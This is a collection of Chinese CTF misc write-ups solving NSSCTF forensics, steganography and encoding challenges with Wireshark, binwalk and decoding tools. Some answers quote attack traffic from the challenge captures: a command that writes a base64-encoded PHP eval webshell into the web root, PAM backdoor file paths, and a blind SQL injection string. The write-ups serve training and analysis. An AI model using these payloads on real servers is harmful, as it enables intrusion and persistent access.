NSSCTF题库

[陇剑杯 2021]签到

1
2
3
category: misk
tools：wireshark
附件：Good.pcapng

总结：IPv4不属于HTTP协议。IPv4是Internet Protocol的第四版，是Internet上最常用的协议。HTTP是HyperText Transfer Protocol的缩写，是Internet上用于传输超文本数据的协议。HTTP是应用层协议，而IPv4是网络层协议。网络层协议负责在两个计算机之间传输数据包，而应用层协议负责在两个应用程序之间传输数据。因此，HTTP协议需要依赖IPv4协议才能在Internet上传输数据。

wp:

Wireshark打开流量包，选择统计选项，对协议进行分级统计，发现流量包主要是TCP协议，且应用层的协议主要是HTTP，因此判断是HTTP协议的攻击。

[长城杯 2021 院校组]签到

1
2
3
category: misk
tools：随波逐流ctf工具
附件：一串16进制字符串

16转ascii

ascii解base64

[陇剑杯 2021]jwt（问1）

1
2
3
category: misk
tools：wireshark
附件： goroot.pcap

如何分析是否存在认证协议：

例子：若要查看该流量包中是否包含Basic Auth认证协议，请查看流量包详细信息中的HTTP字段，并找到“Authorization”头，看它的值是否包含”Basic”关键词。

[陇剑杯 2021]webshell（问1）

category: misk
tools：wireshark
附件： .pcap

在上方应用显示过滤器输入：

1
http.request.method == "POST"

用来过滤，只显示post请求

image-20230806204750590

登陆操作为login，找到info带login的一栏，点进去，发现password字段就是黑客使用的密码

[SWPU 2019]神奇的二维码

category: misk
tools：binwalk 、basecrack、audacity
附件： goroot.pcap

利用工具：image-20230806205828105

发现f提示lag不在这里，说明直接扫是不可以的

放到010editor里面，CTRL+F 搜索flag，发现藏着flag.jpg和flag.doc还有一个“看看flag在不在里面.rar”

可以把图片放到你的Linux电脑下，使用binwalk和dd命令（使用方法：https://www.cnblogs.com/Yuuki-/p/7868880.html）

binwalk用于分析文件结构

1
2
3


Binwalk MISC-神奇的二维码-BitcoinPay.png
1
dd if=MISC-神奇的二维码-BitcoinPay.png of=out.rar skip=具体位置 bs=1

然后得到了三个压缩包

有一个base64界出来是“看看flag在不在里面^_^.rar”的解压密码

flag.doc是一个base64套娃，利用basecrack一键解决：

1
python basecrack.py -f flag.txt --magic

得到最后一个压缩包的密码

里面是good.mp3

放到audacity里面看看，发现波形图是摩斯电码

解出来即可

[陇剑杯 2021]jwt（问3）

1
2
3
category: misk
tools：wireshark
附件： goroot.pcap

在上方应用显示过滤器输入：

1
http.request.method == "POST"

用来过滤，只显示post请求

分析黑客行为，其使用了command来执行了whoami，并且输入了admin和账号密码，判断出来是获取了root权限

NSSCTF{root}

[陇剑杯 2021]jwt（问2）

1
2
3
category: misk
tools：wireshark、jwt.io
附件： goroot.pcap

追踪http流，搜token，将其复制，放到jwt.io中解析即可

[NISACTF 2022]huaji？

1
2
3
category: misk
tools：binwalk 随波逐流编码工具
附件： huaji?

用binwalk分析，果然藏着东西，然后用foremost分离：

1
foremost huaji? -T

得到了jpg图片和zip压缩包

jpg放到010中没有有用信息

查看属性得知有一个相机编号

16转ascii得到压缩包密码

解压得到flag

[SWPU 2020]套娃

1
2
3
category: misk
tools：010editor 随波逐流编码工具 https://www.sojson.com/encrypt_rc4.html
附件： 套娃.xls

放010 中发现zip的文件头pk，改文件后缀为zip得到里面的文件，多次套娃

里面的文件的名字提示我的，此题可能需要破解rc4加密算法

RC4 是一种流加密算法，这意味着它将密钥流与明文进行异或，以生成密文。

文件夹中的RC4data应该是密文

其中一个文件夹中还有一个名为RC4key的文件，为密钥

因此如果得知此密钥，即可解得明文

把esayrc4.zip放到010里面，发现最后有一个字段

1
password:6e4c834d77cba03af41e1562a5bce84e

这个即为解压密码

得到了RC4key：

1
ABCDEFGHIJKLMNOPQRSTUVWXYZ

又有RC4data：

1
U2FsdGVkX19uI2lzmxYrQ9mc16y7la7qc7VTS8gLaUKa49gzXPclxRXVsRJxWz/p

解出来这个东西：

1
ef1a73d40977a49b99b871980f355757

随波逐流编码工具跑了一下没什么特殊含义，直接提交看看

flag正确

[陇剑杯 2021]jwt（问5）

1
2
3
category: misk
tools：wireshark
附件：goroot.pcap
1
http.request.method == "POST"

一个个查看，得知文件名为looter.so

[陇剑杯 2021]jwt（问4）

1
2
3
category: misk
tools：wireshark
附件：goroot.pcap
1
http.request.method == "POST"

一个个查看，得知文件名为1.c

[陇剑杯 2021]jwt（问6）

1
2
3
category: misk
tools：wireshark
附件：goroot.pcap
1
http.request.method == "POST"

一个个查看，得知绝对路径为：/etc/pam.d/common-auth

[陇剑杯 2021]webshell（问2）

1
http.request.method == "POST"

Form item: “tpl” = “data/Runtime/Logs/Home/21_08_07.log”

加上/var/www/html/：

1
/var/www/html/data/Runtime/Logs/Home/21_08_07.log

over~:）

[陇剑杯 2021]webshell（问4）

发现值：

1
Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');"

因此答案为：1.php

[SWPUCTF 2021 新生赛]gif好像有点大

1
2
3
category: misk
tools：ScreenToGif  https://online-barcode-reader.inliteresearch.com/
附件：CTF.gif

把图片放到ScreenToGif中，逐帧查看，发现有一帧存在二维码，放到https://online-barcode-reader.inliteresearch.com/扫一下，得到flag

[陇剑杯 2021]webshell（问3）

1
2
3
category: misk
tools：wireshark
附件：hack.pcap

筛选post

然后找到包含whoami的项，追踪http流，搜索User

得到flag:

NSSCTF{www-data}

[NISACTF 2022]为什么我什么都看不见

category: misk
tools：zsteg binwalk 010editor
附件：为什么我什么都看不见.png

010打开发现头部署名域缺失，补上橙色的部分：

image-20230808165133894

然后改文件后缀为png，能打开

用宽高一把梭，发现得到的文件虽然看上去没什么有用信息，但是可以注意到文件名字为：flag409 不知道有什么含义

binwalk一下

image-20230808165702590

foremost一下

1
foremost flag409.png

又得到一张png

但是通过binwalk的结果可以看到有rar文件，因此使用dd再试一次

1
dd if=flag409.png of=out.rar skip=5485 bs=1

分析得到的rar：没有实质性收获image-20230808170637967

1
dd if=flag409.png of=out.Zlib skip=41 bs=1

放zsteg里面跑一下：

NISA{Wlec0me_to_NiSa2022}

image-20230808175843963

[陇剑杯 2021]日志分析（问1）

1
2
3
category: misk
tools：claude.ai 自己分析
附件：access.log

根据访问日志,可以看到攻击者尝试访问了许多PHP源代码文件,例如index.php、admin.php等。

特别是在最后,访问日志显示攻击者成功下载了一个www.zip文件。

所以我判断源码文件名为www.zip。

网络存在源码泄漏,源码文件名是www.zip。

所以提交的flag为:NSSCTF{www.zip}

搜200（请求成功的日志）。发现：

1
2
"GET /[www.zip](http://www.zip/) HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
"GET /[www.zip](http://www.zip/) HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

这说明攻击者成功下载了www.zip这个文件,www.zip很有可能就是源码泄漏的文件名。

[陇剑杯 2021]webshell（问5）

[羊城杯 2021]签到题

1
2
3
category: misk
tools：自己猜 ScreenToGif
附件：.gif

猜数字

详细教程：https://le1a.gitee.io/posts/fe764c6c/

猜完md5加密一下

1
{d93b7da38d89c19f481e710ef1b3558b}

[LitCTF 2023]What_1s_BASE (初级)

1
2
3
category: misk
tools：basecrack
附件：base星期四.txt

用basecrack的magic模式跑一下就出来了

image-20230809105723000

1
LitCTF{KFC_Cr4zy_Thur3day_V_me_50}

[陇剑杯 2021]日志分析（问2）

1
2
3
category: misk
tools：随波逐流编码工具
附件：.log

搜索tmp，复制到工具里进行url解码

image-20230809162709110

1
NSSCTF{sess_car}

[SWPUCTF 2021 新生赛]here_is_a_bug

1
2
3
category: misk
tools：d盾
附件附加.zip

d盾扫描，查看木马文件，查找pass字段，得到webshell密码

1
NSSCTF{oh_you_catch_the_bug}

[陇剑杯 2021]日志分析（问3）

1
2
3
category: misk
tools：随波逐流编码工具
附件：.log

步骤同上问 

1
NSSCTF{SplFileObject}

[SWPU 2020]找找吧

1
2
3
category: misk
tools：010；https://www.bejson.com/enc/md5dsc/；audacity ；ScreenToGif
附件：找找吧.rar

是一个加密压缩包

放010里面，最后一行发现：image-20230809165153498

PPPaAaS

里面的MP3放010里面发现rar的文件头

因此将mp3文件改为rar解压

里面有一张png哈哈哈

zsteg一下，得到的东西没用

Stegsolve也没东西

把得到的音频放到audacity里面，发现摩斯电码：

image-20230809172028283

解莫斯：D43963E92B012AAB

谁能想到是md5解密：在线网址：https://www.bejson.com/enc/md5dsc/

n1ce_try

解压加密压缩包得到：hint.png，一眼改宽高，放一把梭工具里面，得到了这么个玩意

image-20230809173334680

Veni,Vidi,Vici

什么意思？问问人工智能：image-20230809173523817

有可能是凯撒加密

再看看另外一个文件，是个gif,放到ScreenToGif里面看到一帧：image-20230809174013548

bFyd_W1l3_Cah

放工具里跑一下：image-20230809174229573

有意义的就是这个

sWpu_N1c3_Try

[SWPU 2019]漂流记的马里奥

先放到隔离环境（单独的文件夹）里面方便操作查看

凡是exe先试着运行一下，发现隔离环境中多了个1.txt，里面的内容：

1
2
ntfs      
flag.txt

在当前目录打开cmd，运行

1
notepad 1.txt:flag.txt

得到

swupctf{ddg_is_cute}

[巅峰极客 2021]签到

1
2
3
category: misk
tools：[emoji-aes](https://aghorler.github.io/emoji-aes/#)
附件：flag.txt

放网站里填入key即可得到结果

flag{10ve_4nd_Peace}

[安徽省赛 2021]misc签到

1
2
3
4
5
category: misk
tools：[emoji-aes](https://aghorler.github.io/emoji-aes/#)
附件：签到.zip


image-20230811110441553

得到一张jpeg和一个zip，其中有flag.txt，但是需要密码

jpeg中发现下面字段：image-20230811110821683

fanla12380 ab32056r

但是实测密码是this_is_password，无语了

得到

flag{ab32056rfanla12380asf13gpnsan}

[LitCTF 2023]404notfound (初级)

1
2
3
category: misk
tools：010editor
附件：1.zip

010右下角选text，看到这个image-20230811112033257

LitCTF{Its_404_but_1ts_n0t_a_page}

[LitCTF 2023]这羽毛球怎么只有一半啊（恼 (初级)

1
2
3
category: misk
tools：png宽高一把梭
附件：羽毛球.zip

直接一把梭，得到：flag597

{Fl4g_0fcourse!}

[BJDCTF 2020]签个到?

1
2
3
category: misk
tools：
附件：签个到.zip

hello.zip是个pngimage-20230811112931369

改为png得到二维码，直接扫：

1
xaflag{i_am_a_tupian}

[NISACTF 2022]bqt

1
2
3
category: misk
tools：foremost
附件：bqt

先

1
foremost bqt -T

发现image-20230811114652907

这有东西

1
c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd

经过各种进制转化后均无结果，想到可能是需要自己推理

因为是16进制数据，所以先将一串字符每两个字符之间加一个空格并打印

1
2
3
4
5
6
7
s = 'c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd'

result = ''
for i in range(0, len(s), 2):
    result += s[i:i+2] + ' '

print(result)
1
c8 e9 ac a0 c3 f4 e6 e5 f2 a1 a0 d4 e8 e5 a0 e6 ec e1 e7 a0 e9 f3 ba a0 e6 ec e1 e7 fb f7 e5 e6 e5 ef e9 e4 ea e7 ef e5 e4 f3 e6 e9 ef f2 f0 e5 e6 e4 e6 e7 e7 e6 e4 f3 e5 fd

转10进制为：

1
200 233 172 160 195 244 230 229 242 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 230 236 225 231 251 247 229 230 229 239 233 228 234 231 239 229 228 243 230 233 239 242 240 229 230 228 230 231 231 230 228 243 229 253

因为flag一般最后一个字符是}

}字符的ASCII码序号是125

253-125=128，可以每个字符减128试试

将每个数字减去128：

1
2
3
4
5
6
7
numbers = [200, 233, 172, 160, 195, 244, 230, 229, 242, 161, 160, 212, 232, 229, 160, 230, 236, 225, 231, 160, 233, 243, 186, 160, 230, 236, 225, 231, 251, 247, 229, 230, 229, 239, 233, 228, 234, 231, 239, 229, 228, 243, 230, 233, 239, 242, 240, 229, 230, 228, 230, 231, 231, 230, 228, 243, 229, 253]

result = []
for num in numbers:
    result.append(num - 128)

print(result)

结果：

1
72, 105, 44, 32, 67, 116, 102, 101, 114, 33, 32, 84, 104, 101, 32, 102, 108, 97, 103, 32, 105, 115, 58, 32, 102, 108, 97, 103, 123, 119, 101, 102, 101, 111, 105, 100, 106, 103, 111, 101, 100, 115, 102, 105, 111, 114, 112, 101, 102, 100, 102, 103, 103, 102, 100, 115, 101, 125

image-20230811121311797

[LitCTF 2023]喜欢我的压缩包么 (初级)

1
2
3
category: misk
tools：ziperello
附件：学习资料啊.zip

题目描述：

1
2
3
4
可恶，学习资料的密码忘了！！！
几位数来着，哦哦，6位
出题人：探姬
Flag格式 NSSCTF{}

根据题目描述，进行6位数字爆破：

image-20230811122417262

得到：学习资料啊

{Do-u-like-my-zip-p4ck?}

[MMACTF 2015]welcome

1
2
3
category: misk
tools：
附件：

题目描述：

1
2
The flag is MMA{Welcome_To_MMACTF!!}.
得到的flag使用NSSCTF{}格式提交

签到题，直接粘贴

[鹤城杯 2021]流量分析

1
2
3
category: misk
tools：
附件：timu.pcapng

image-20230811123159903

url解密得到：

id=1’ and ascii(substr((select flag from t),1,1))=33–+

发现这是个sql注入攻击

1
http.request.method == "GET"

过滤get请求，发现全是sql注入语句